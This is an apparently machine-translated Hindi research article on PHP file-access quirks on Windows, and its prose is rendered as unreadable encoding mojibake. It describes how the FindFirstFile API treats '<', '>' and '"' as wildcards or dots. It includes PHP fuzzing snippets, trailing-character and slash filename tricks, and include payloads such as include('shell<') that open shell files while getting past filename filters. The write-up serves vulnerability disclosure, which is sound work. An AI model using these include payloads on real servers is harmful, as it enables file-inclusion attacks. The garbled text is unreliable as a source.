PHP рдореЗрдВ рдирдИ рдлрд╝рд╛рдЗрд▓ рдкрд╣реБрдБрдЪ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ

рдХреБрдЫ рд╕рд╛рд▓ рдкрд╣рд▓реЗ, рд╣рд░ рдХреЛрдИ рдмрд╕ рддреНрд░реБрдЯрд┐-рдЖрдзрд╛рд░рд┐рдд MySQL рдХреЗ рд╕рд╛рде рдкрд╛рдЧрд▓ рд╣реЛ рдЧрдпрд╛ рдерд╛, рдФрд░ рдЕрдирд╕реБрдирд╛ рдХреБрдЫ рдЬрдЯрд┐рд▓ рд▓рдЧ рд░рд╣рд╛ рдерд╛ рдФрд░ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЬреАрд╡рди рдореЗрдВ рдирд╣реАрдВ рдорд┐рд▓рд╛ред рдЕрдм рдпреЗ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдХреНрд▓рд╛рд╕рд┐рдХ рддрдХрдиреАрдХ рд╣реИрдВред рд╣рдо рдирд┐рд╖реНрдХрд░реНрд╖реЛрдВ рдореЗрдВ рдЕрд╢рдХреНрдд рдмрд╛рдЗрдЯреНрд╕ рдЬреИрд╕реЗ рдбрд╛рдпрдирд╛рд╕реЛрд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреНрдпрд╛ рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕реЗ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рд╕реЗ рдмрджрд▓ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╢реЛрдзрдХрд░реНрддрд╛ рд▓рдЧрд╛рддрд╛рд░ рдХреБрдЫ рдЦреЛрдж рд░рд╣реЗ рд╣реИрдВ, рд╕рд╛рде рдЖ рд░рд╣реЗ рд╣реИрдВ, рдФрд░ рдЗрд╕ рдмреАрдЪ, рджреБрднрд╛рд╖рд┐рдпреЛрдВ рдФрд░ рдЗрдВрдЬрдиреЛрдВ рдХреЗ рдирдП рд╕рдВрд╕реНрдХрд░рдг рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╕рд╛рдордиреЗ рдЖ рд░рд╣реЗ рд╣реИрдВ, рдФрд░ рдЙрдирдХреЗ рд╕рд╛рде рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рдирдП рдХреАрдбрд╝реЗ рд╣реИрдВред

рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдПрдХ рднреЗрджреНрдпрддрд╛ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рддреАрди рддрд░реАрдХреЗ рд╣реИрдВ: рд╕рд░рд▓рддрд╛ (рдЬрдм рдПрдХ рд╢реЛрдзрдХрд░реНрддрд╛ рдХреБрдЫ рдЪрд╛рд▓ рдХреЗ рд╕рд╛рде рдЖрддрд╛ рд╣реИ рдФрд░ рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рдВрдЪ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдЕрднреНрдпрд╛рд╕ рдореЗрдВ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ), рд╕реНрд░реЛрдд рдХреЛрдб рд╡рд┐рд╢реНрд▓реЗрд╖рдг, рдФрд░ рдлрд╝рдЬрд╝рд┐рдВрдЧред рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рдЪреАрдиреА рдлрд╝рдЬрд╝рд┐рдВрдЧ рдФрд░ рдЗрд╕рдХреЗ рд╡рд┐рдХрд╛рд╕ рдХреЗ рд▓рд┐рдП, рдЕрдкрдиреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд▓рд┐рдП, рдореИрдВ рдмрддрд╛рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВред



рд╕реБрд╡рд┐рдзрд╛ рд╕реВрдЪреА рдФрд░ рдкрд░реАрдХреНрд╖рдг рдХреЗ рдкрд░рд┐рдгрд╛рдо



рдлрд╝рдЬрд╝рд┐рдВрдЧ рди рдХреЗрд╡рд▓ рдореВрд▓реНрдпрд╡рд╛рди рдлрд░ рд╣реИ ...



рдпрд╣ рд╕рдм рдЗрд╕ рддрдереНрдп рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реБрдЖ рдХрд┐ Google рдиреЗ рдЬрд╛рд░реА рдХрд░рдиреЗ рдХрд╛ рдЖрджреЗрд╢ рджрд┐рдпрд╛ рдерд╛ рдЬреЛ рдореБрдЭреЗ рдпрд╛рдж рдирд╣реАрдВ рд╣реИ рдХрд┐ рдХрд┐рд╕ рдЕрдиреБрд░реЛрдз рдХреЛ рдФрд░ рдЪреАрдиреА рдореЗрдВ рд╕рд╛рдЗрдЯ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ: http://code.google.com/p/pasc2at/wiki/SimplifiedChinese , рдЬрд╣рд╛рдВ рдЪреАрдиреА рдлрд╝рдЬрд╝рд░реНрд╕ рдХреЗ рдХрдИ рджрд┐рд▓рдЪрд╕реНрдк рд╕рдВрдЧреНрд░рд╣ рдПрдХрддреНрд░ рдХрд┐рдП рдЧрдП рдереЗред рджрд┐рд▓рдЪрд╕реНрдк рдмрд╛рдд рдпрд╣ рд╣реИ рдХрд┐ рдЗрд╕ рд╕реВрдЪреА рдореЗрдВ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдкрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ рдЕрднреА рд▓реЗрдЦреЛрдВ рдореЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЙрдирдореЗрдВ рд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕рд╛рдордЧреНрд░реА рдХрд╛ рдПрдХ рдХреЛрдб рдерд╛ рдЬрд┐рд╕рдиреЗ рдореЗрд░рд╛ рдзреНрдпрд╛рди рдЖрдХрд░реНрд╖рд┐рдд рдХрд┐рдпрд╛:

<?php for($i=0;$i<255;$i++) { $url = '1.ph'.chr($i); $tmp = @file_get_contents($url); if(!empty($tmp)) echo chr($i)."\r\n"; } ?>
      
      



рдЙрд╕рдиреЗ рдореБрдЭреЗ рдЖрдХрд░реНрд╖рд┐рдд рдХрд┐рдпрд╛ рдХреНрдпреЛрдВрдХрд┐ рдореБрдЭреЗ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╕рдордЭ рдореЗрдВ рдирд╣реАрдВ рдЖрдпрд╛, рд▓реЗрдХрд┐рди рдЙрд╕рдиреЗ рд╡рд┐рд╡рд░рдг рдореЗрдВ рдкрд░рд┐рдЪрд┐рдд win32 рдкрд╛рддреНрд░реЛрдВ рдХреЛ рдмрдирд╛рдпрд╛ :)ред рдЪреАрдиреА рд▓реЗрдЦрди рдХрд╛ рдЕрдиреБрд╡рд╛рдж google.translate рдХреЗ рд╕рд╛рде рднреА рдПрдХ рдЕрдЬреАрдм рдордиреЛрд░рдВрдЬрди рдерд╛, рдЗрд╕рд▓рд┐рдП рдореИрдВрдиреЗ рдмреЗрд╡рдХреВрдлреА рд╕реЗ рд╡рд┐рдВрдбреЛрдЬ рдХреЗ рддрд╣рдд рдЗрд╕ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ рджреЗрдЦрд╛ред рдЬрдм рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рдореЗрд░рд╛ рдЖрд╢реНрдЪрд░реНрдп рдХреНрдпрд╛ рд╣реИ рддреЛ рд╡рд┐рдВрдбреЛрдЬ рдореЗрдВ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдХрдо рд╕реЗ рдХрдо 4 рдирд╛рдо рдереЗ: 1.php, 1.php, 1.ph>, 1.ph <ред рдЕрдм рдЪреАрдиреА рд▓реЗрдЦрди рдореБрдЭреЗ рдЗрддрдирд╛ рджреВрд░ рдирд╣реАрдВ рд▓рдЧрд╛, рдФрд░ Google рдХреЗ рдЕрдиреБрд╡рд╛рджрдХ рдиреЗ рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╕рдордЭрдиреЗ рдореЗрдВ рдорджрдж рдХреАред рджрд░рдЕрд╕рд▓, рдЗрд╕ рдмрд╣реБрдд рд╣реА "рд╕рдордЭрджрд╛рд░реА" рдореЗрдВ рдХреЛрдб рдХреЗ рд╡рд┐рд╡рд░рдг рдФрд░ рдЗрд╕рдХреЗ рдХрд╛рдо рдХреЗ рдкрд░рд┐рдгрд╛рдо рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдФрд░ рдХреБрдЫ рдирд╣реАрдВ рдерд╛ред рдРрд╕рд╛ рдирд╣реАрдВ рд╣реИ рдХрд┐ рдпрд╣ рдореЛрдЯреА рдирд╣реАрдВ рд╣реИ - рдХрд┐рд╕реА рднреА рддрд░рд╣ рд╕реЗ! рдпрд╣ рд╕рд┐рдпрд╛рд╕рдд рдореБрдЭреЗ рд╢реЛрднрд╛ рдирд╣реАрдВ рджреЗрддреАред рдореИрдВ рдЕрднреА рднреА рдЗрди рдЪреАрдиреА рдХреЛ рдирд╣реАрдВ рд╕рдордЭрддрд╛ - рдХреНрдпрд╛ рдЙрдирдХреЗ рд▓рд┐рдП рдпрд╣ рд╕рдордЭрдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рдирд╣реАрдВ рдерд╛ рдХрд┐ рдХреМрди рд╕реЗ рдХрд╛рд░реНрдп рдЕрднреА рднреА рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВ, рдЗрд╕ рдСрдкрд░реЗрд╢рди рдмрдЧ рдореЗрдВ рдХреНрдпрд╛ рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдВ рд╣реИрдВ, рдФрд░ рдЕрдВрдд рдореЗрдВ, рдпрд╣ рднреА рдХрд╛рдо рдХреНрдпреЛрдВ рдХрд░рддрд╛ рд╣реИ?



рдореИрдВ рднреЛрдЬ рдЬрд╛рд░реА рд░рдЦрдиреЗ рдХреА рдорд╛рдВрдЧ рдХрд░рддрд╛ рд╣реВрдВ!



рдореИрдВрдиреЗ рдЬреЛ рдкрд╣рд▓рд╛ рдХрд╛рдо рдХрд┐рдпрд╛, рд╡рд╣ рдПрдХ рджреВрд╕рд░рд╛ рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдЬреЛрдбрд╝рдиреЗ рд╡рд╛рд▓рд╛ рдерд╛ рдФрд░ рдЕрдВрддрд┐рдо рджреЛ рдмрд╛рдЗрдЯреНрд╕ рдкрд░ рдлрд╝рдЬрд╝реА рдХреЛрдб рдЪрд▓рд╛ рд░рд╣рд╛ рдерд╛ред рдкрд░рд┐рдгрд╛рдо рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдереЗ:

 1.p<0 (-  ) 1.p< (  ) 1.p<" 1.p<. 1.p<< 1.p>> 1.p<> 1.p>< 1.p<(p/P) 1.p>(p/P) 1.p(h/H)< 1.p(h/H)> 1.p(h/H)(p/P)
      
      



рдкреИрдЯрд░реНрди рдпрд╣рд╛рдВ рд╕реЗ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рджрд┐рдЦрд╛рдИ рджреЗ рд░рд╣реЗ рдереЗ - рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдХреЗ рдЕрдВрдд рдореЗрдВ рд╡рд░реНрдг рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ: рдЕрд╡рдзрд┐, рдбрдмрд▓ рдЙрджреНрдзрд░рдг, рд╕реНрдерд╛рди, рд╢реВрдиреНрдп-рдмрд╛рдЗрдЯред рдЗрд╕ рдХреВрдмрдбрд╝ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдореИрдВрдиреЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдЪрд▓рд╛рдпрд╛:

 <?php if (file_get_contents("test.php".str_repeat("\"",10).str_repeat(" ",10).str_repeat(".",10))) echo 1337; ?>
      
      



рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рд╡рд╣ 1337 рд▓реМрдЯрд╛, рдпрд╛рдиреА, рд╕рдм рдХреБрдЫ рднрд╡рд┐рд╖реНрдпрд╡рд╛рдгреА рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдХрд╛рдо рдХрд┐рдпрд╛ред рдпрд╣ рдЕрдкрдиреЗ рдЖрдк рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдПрдХ рд▓реЛрдХрдкреНрд░рд┐рдп рднреЗрджреНрдпрддрд╛ рдХреЗ рдкреНрд░рддреАрдХреЛрдВ рдХрд╛ рдПрдХ рд╡рд┐рд╕реНрддрд╛рд░ рдерд╛, рд╕рдорд╛рд╡реЗрд╢рди рдореЗрдВ рд╢реВрдиреНрдп рдмрд╛рдЗрдЯ рдХрд╛ рд╡рд┐рдХрд▓реНрдкред рджреБрднрд╛рд╖рд┐рдпреЗ рдХрд╛ рдордЬрд╛рдХ рдЙрдбрд╝рд╛рдирд╛ рдЬрд╛рд░реА рд░рдЦрдиреЗ рдХреЗ рдмрд╛рдж, рдЕрдВрдд рдореЗрдВ рд╕реНрд▓реИрд╢ рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдХреЗ рдирд┐рд░реНрдорд╛рдг, рдЬреЛ рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЗ рдмрд┐рдирд╛ рднреА рдкрдврд╝реЗ рдЧрдП рдереЗ:

 file\./.\. file////. file\\\. file\\.//\/\/\/.
      
      



рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрд╣рд╛рдВ рд╕рдм рдХреБрдЫ рд╕реНрдкрд╖реНрдЯ рд╣реИ: рдпрджрд┐ рдЖрдк рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдХреЗ рдмрд╛рдж рд╕реНрд▓реИрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рд╣рдореЗрд╢рд╛ рдЕрдВрдд рдореЗрдВ рдПрдХ рдЕрд╡рдзрд┐ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╕реНрд▓реИрд╢ рдорд┐рд╢реНрд░рд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдЙрдирдХреЗ рдмреАрдЪ рдЖрдк рдПрдХ рдмрд┐рдВрджреБ рдХреЛ рдЪрд┐рдкрдХрд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдЗрд╕ рд╕рдм рдХреЗ рд╕рд╛рде, рдореБрдЦреНрдп рдмрд╛рдд рдЕрд╕реНрдкрд╖реНрдЯ рдереА - рдкреНрд░рддреАрдХреЛрдВ <рдФрд░> рдХреНрдпрд╛ рдЫрд┐рдкрд╛рддреЗ рд╣реИрдВ?



рдорд╣рд╛рди рдФрд░ рд╢рдХреНрддрд┐рд╢рд╛рд▓реА WINAPI



рдЬреИрд╕рд╛ рдХрд┐ рдореБрдЭреЗ рдЬрд▓реНрджреА рдкрддрд╛ рдЪрд▓рд╛, рдлрд╝рдЬрд╝рд┐рдВрдЧ рдХреЛ рдЗрд╕ рддреНрд░реБрдЯрд┐ рдХреА рдкреНрд░рдХреГрддрд┐ рд╕рдордЭ рдореЗрдВ рдирд╣реАрдВ рдЖрддреАред рджреЛ рд╡рд┐рдХрд▓реНрдк рдмрдЪреЗ рдереЗ: рд╕реЙрд░реНрдЯ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╛ рдХреЙрд▓ рдХреЛ рдЯреНрд░реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдЗрди рджреЛрдиреЛрдВ рд╡рд┐рдзрд┐рдпреЛрдВ рдиреЗ рдмрд╣реБрдд рдЬрд▓реНрджреА рдПрдХ рд╣реА рдмрд╛рдд рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд┐рдпрд╛ - рдлрд╛рдЗрдВрдбрдлрд░реНрд╕реНрдЯрдлрд╛рдЗрд▓ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ред рдЙрд╕реА рд╕рдордп, рдХреЙрд▓ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╡рд░реНрдг рдХреЗ рд╕рд╛рде рд╕реНрдЯреИрдХ рдкрд░ рдерд╛> рджреНрд╡рд╛рд░рд╛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд ?, рдФрд░ <рджреНрд╡рд╛рд░рд╛ *, рджреЛрд╣рд░реЗ рдЙрджреНрдзрд░рдг рдХреЛ рдПрдХ рдбреЙрдЯ рдХреЗ рд╕рд╛рде рдмрджрд▓ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдпрд╣ рдиреЛрдЯрд┐рд╕ рдХрд░рдиреЗ рдореЗрдВ рднреА рдмрд╣реБрдд рдордЬрд╝рд╛ рдЖрдпрд╛ рдХрд┐, рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдХреЗ рдмрд╛рд╡рдЬреВрдж, <рд╣рдореЗрд╢рд╛ рдлрд╝рд╛рдЗрд▓ рдорд╛рд╕реНрдХ рдореЗрдВ * рдХреА рддрд░рд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд┐рдпрд╛, рд▓реЗрдХрд┐рди << рд╣рдореЗрд╢рд╛ рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдХрд╛рдо рдХрд┐рдпрд╛ред рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ, рджреЛрдиреЛрдВ рдХреЙрд▓ рд╕реНрдЯреИрдХ рдкрд░ рдмрд┐рд▓реНрдХреБрд▓ рд╕рдорд╛рди рдереЗ, рд▓реЗрдХрд┐рди рдЕрд▓рдЧ-рдЕрд▓рдЧ рдкрд░рд┐рдгрд╛рдо рджрд┐рдП (рдЖрдВрдХрдбрд╝рд╛ рджреЗрдЦреЗрдВ)ред рдЕрдм рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реНрдкрд╖реНрдЯ рд╣реИ рдХрд┐ рдкреИрд░ рдХрд╣рд╛рдБ рд╕реЗ рдмрдврд╝рддреЗ рд╣реИрдВред рдФрд░ рдкреИрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдПрдордПрд╕ рдирд╛рдо рдХреЗ рддрд╣рдд рдПрдл рд╕реЗ рдмрдврд╝реЗред







MSDN рдХрд╛ рдЙрдкрдпреЛрдЧ



рдЕрдм рдпрд╣ рд╕рдордЭрд╛ рдЬрд╛рдиреЗ рд▓рдЧрд╛ рдХрд┐ рдХреНрдпрд╛ рдлрд╛рдЗрдВрдбрдлрд░реНрд╕реНрдЯрд╛рдЗрд▓ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ, рдпрд╛ рдпрд╣рд╛рдВ рдмрдЧ рд╣реЛрддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдореИрдВрдиреЗ рдкреНрд░рд▓реЗрдЦрди рдХреЗ рд╕рд╛рде рдЗрд╕ рдкреНрд░рд╢реНрди рдХреЗ рдЙрддреНрддрд░ рдХреА рддрд▓рд╛рд╢ рд╢реБрд░реВ рдХреА: msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx ред

рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдиреЗ рд╕реНрд╡рдпрдВ рд╡рд░реНрдгреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рднреА рдирд╣реАрдВ рдХрд╣рд╛ рдерд╛ <>, рд▓реЗрдХрд┐рди рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдореЗрдВ ...

рдмрдЧ!

рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рджреНрд╡рд╛рд░рд╛ '<' рдФрд░ '>' рд╡рд░реНрдгреЛрдВ рдХреЛ рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рдХреА рддрд░рд╣ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред



[MSFT] - рдпреЗ рдирд╛рдордХрд░рдг рдП рдлрд╝рд╛рдЗрд▓ рд╡рд┐рд╖рдп рдореЗрдВ рдкрде рдФрд░ рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдореЗрдВ рдЕрд╡реИрдз рд╡рд░реНрдгреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рд╣реИрдВред рдЗрд╕ рд╡рд┐рд╖рдп рдХреЛ рд╕реНрдкрд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рдЕрджреНрдпрддрди рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред

рдЗрддрд┐рд╣рд╛рд╕



2007/10/19

xMartian



2008/02/05

рдорд╛рд░реНрдХ рдПрдореЛрд╕ - рдПрдордПрд╕рдПрдлрдЯреА
рдпрд╣реА рд╣реИ, рдЗрд╕ рдмрдЧ рдХреЛ 2007 рдореЗрдВ рд╡рд╛рдкрд╕ рдЬрд╛рдирд╛ рдЧрдпрд╛ рдерд╛! рдФрд░ рдирд┐рд░реНрдорд╛рддрд╛ рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЖрдо рддреМрд░ рдкрд░ рдЕрдкрдиреА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдЪреМрдВрдХрд╛рдиреЗ рд╡рд╛рд▓реА рдереА ... рдХреЛрдИ рдЯрд┐рдкреНрдкрдгреА рдирд╣реАрдВ :)ред рдЗрд╕ рдкрд░, рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ, PHP рдХреЗ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рдХрд╛рд░рдг рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕реНрдкрд╖реНрдЯ рд╣реЛ рдЧрдпрд╛ред рдЖрдк рдЗрд╕ рдмрдЧ рдХреЗ рджрд╛рдпрд░реЗ рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╡рд┐рднрд┐рдиреНрди рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдкреНрд░рд▓реЗрдЦрди рдХрд╛ рдПрдХ рдЧреБрдЪреНрдЫрд╛ рдлрд┐рд░ рд╕реЗ рдкрдврд╝реЗрдВ (MSDN рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИ) рдФрд░ рд╕реИрдХрдбрд╝реЛрдВ рд╡рд┐рдЪрд╛рд░реЛрдВ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА, рдореИрдВрдиреЗ рдХрдИ рдирд┐рдпрдореЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХреА рд╣реИ рдЬреЛ рдХрд┐ рдЬреАрдд-рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, FindFirstFile рдореЗрдВ рдмрдЧ рдХреЗрд╡рд▓ рдЙрдирдореЗрдВ рд╕реЗ рдкрд╣рд▓реЗ рдЪрд╛рд░ рдореЗрдВ рдпреЛрдЧрджрд╛рди рджреЗрддрд╛ рд╣реИ (рд╣рдо рд╢реВрдиреНрдп рдмрд┐рдВрджреБ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ)ред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЖрдЧреЗ рджреЗрдЦрддреЗ рд╣реБрдП, рдореИрдВ рдХрд╣реВрдВрдЧрд╛ рдХрд┐ рднреЗрджреНрдпрддрд╛ рдЪрд┐рдВрддрд╛ рди рдХреЗрд╡рд▓ file_get_contents рдлрд╝рдВрдХреНрд╢рди:

  1. рдкреНрд░рддреАрдХ * рдФрд░? PHP (рдлрд╝рд┐рд▓реНрдЯрд░реНрдб) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдлрд╛рдЗрдВрдбрдлрд░реНрд╕реНрдЯрд╛рдЗрд▓ рдХреЙрд▓ рдХрд░рддреЗ рд╕рдордп рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдореЗрдВ рдХрд╛рдо рди рдХрд░реЗрдВред
  2. рд╡рд░реНрдг <рдХреЛ FindFirstFile рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░рддреЗ рд╕рдордп рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЕрд░реНрдерд╛рдд, рдХрд┐рд╕реА рднреА рд╡рд░реНрдг рдХреЗ рдХрд┐рд╕реА рднреА рд╕рдВрдЦреНрдпрд╛ рдХрд╛ рдПрдХ рдореБрдЦреМрдЯрд╛ред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдРрд╕реЗ рдорд╛рдорд▓реЗ рдкрд╛рдП рдЧрдП рдЬрдм рдпрд╣ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ (рдЪрд┐рддреНрд░ рджреЗрдЦреЗрдВ)ред рдПрдХ рдЧрд╛рд░рдВрдЯреАрдХреГрдд рдорд╛рд╕реНрдХ * рдХреЗ рд▓рд┐рдП, << рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

    рдЙрджрд╛рд╣рд░рдг: рд╢рд╛рдорд┐рд▓ ('рд╢реЗрд▓ <') рдореЗрдВ рд╢реЗрд▓ * рдлрд╝рд╛рдЗрд▓ рд╢рд╛рдорд┐рд▓ рд╣реЛрдЧреА, рдФрд░ рдпрджрд┐ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдлрд╝рд╛рдЗрд▓ рдорд╛рд╕реНрдХ рдХреЗ рдиреАрдЪреЗ рдЖрддреА рд╣реИ, рддреЛ рдЬреЛ рдкрд╣рд▓реЗ рд╡рд░реНрдгрдорд╛рд▓рд╛ рдореЗрдВ рдЖрддрд╛ рд╣реИ рд╡рд╣ рдЬреБрдбрд╝рд╛ рд╣реЛрдЧрд╛ред
  3. FindFirstFile рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░рдиреЗ рдкрд░> рдЪрд░рд┐рддреНрд░ рдХреЛ рдмрджрд▓ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ?, рдЕрд░реНрдерд╛рдд рдХреЛрдИ рднреА рдПрдХрд▓ рд╡рд░реНрдгред

    рдЙрджрд╛рд╣рд░рдг : рд╢рд╛рдорд┐рд▓ рд╣реИрдВ ('shell.p> p') рдореЗрдВ shell.p; p рдлрд╝рд╛рдЗрд▓ рд╢рд╛рдорд┐рд▓ рд╣реЛрдЧреА, рдФрд░ рдпрджрд┐ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдлрд╝рд╛рдЗрд▓ рдорд╛рд╕реНрдХ рдХреЗ рдиреАрдЪреЗ рдЖрддреА рд╣реИрдВ, рддреЛ рдЬреЛ рд╡рд░реНрдгрдорд╛рд▓рд╛ рдореЗрдВ рдкрд╣рд▓реЗ рдЖрддреА рд╣реИ, рд╡рд╣ рдЬреБрдбрд╝реА рд╣реЛрдЧреАред
  4. рд╡рд░реНрдг "рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдПрдХ FindFirstFile рдПрдХ рдЕрд╡рдзрд┐ рдХреЗ рд╕рд╛рде рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред

    рдЙрджрд╛рд╣рд░рдг: рд╢рд╛рдорд┐рд▓ ('рд╢реЗрд▓' php ') рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд░рд╛рдмрд░ рд╣реИ (' shell.php ')ред
